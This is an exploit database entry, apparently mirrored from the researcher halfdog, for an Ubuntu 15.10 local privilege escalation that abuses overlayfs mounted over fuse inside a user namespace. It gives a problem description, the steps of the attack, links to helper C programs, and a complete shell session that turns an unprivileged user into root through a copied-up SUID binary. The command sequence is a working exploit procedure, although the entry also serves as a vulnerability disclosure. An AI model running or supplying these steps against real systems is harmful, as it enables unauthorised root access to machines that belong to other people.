Lucene search

K
zdtHalfdog1337DAY-ID-27471
HistoryMar 29, 2017 - 12:00 a.m.

Ubuntu 15.10 - USERNS Overlayfs Over Fuse Privilege Escalation Vulnerability

2017-03-2900:00:00
halfdog
0day.today
34

EPSS

0

Percentile

13.1%

Exploit for linux platform in category local exploits

Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
 
## Introduction
 
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
 
## Methods
 
Basic exploitation sequence is:
 
Mount fuse filesystem exposing one world writable SUID binary
Create USERNS
Mount overlayfs on top of fuse
Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
 
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
 
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of β€˜mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)

#  0day.today [2018-03-02]  #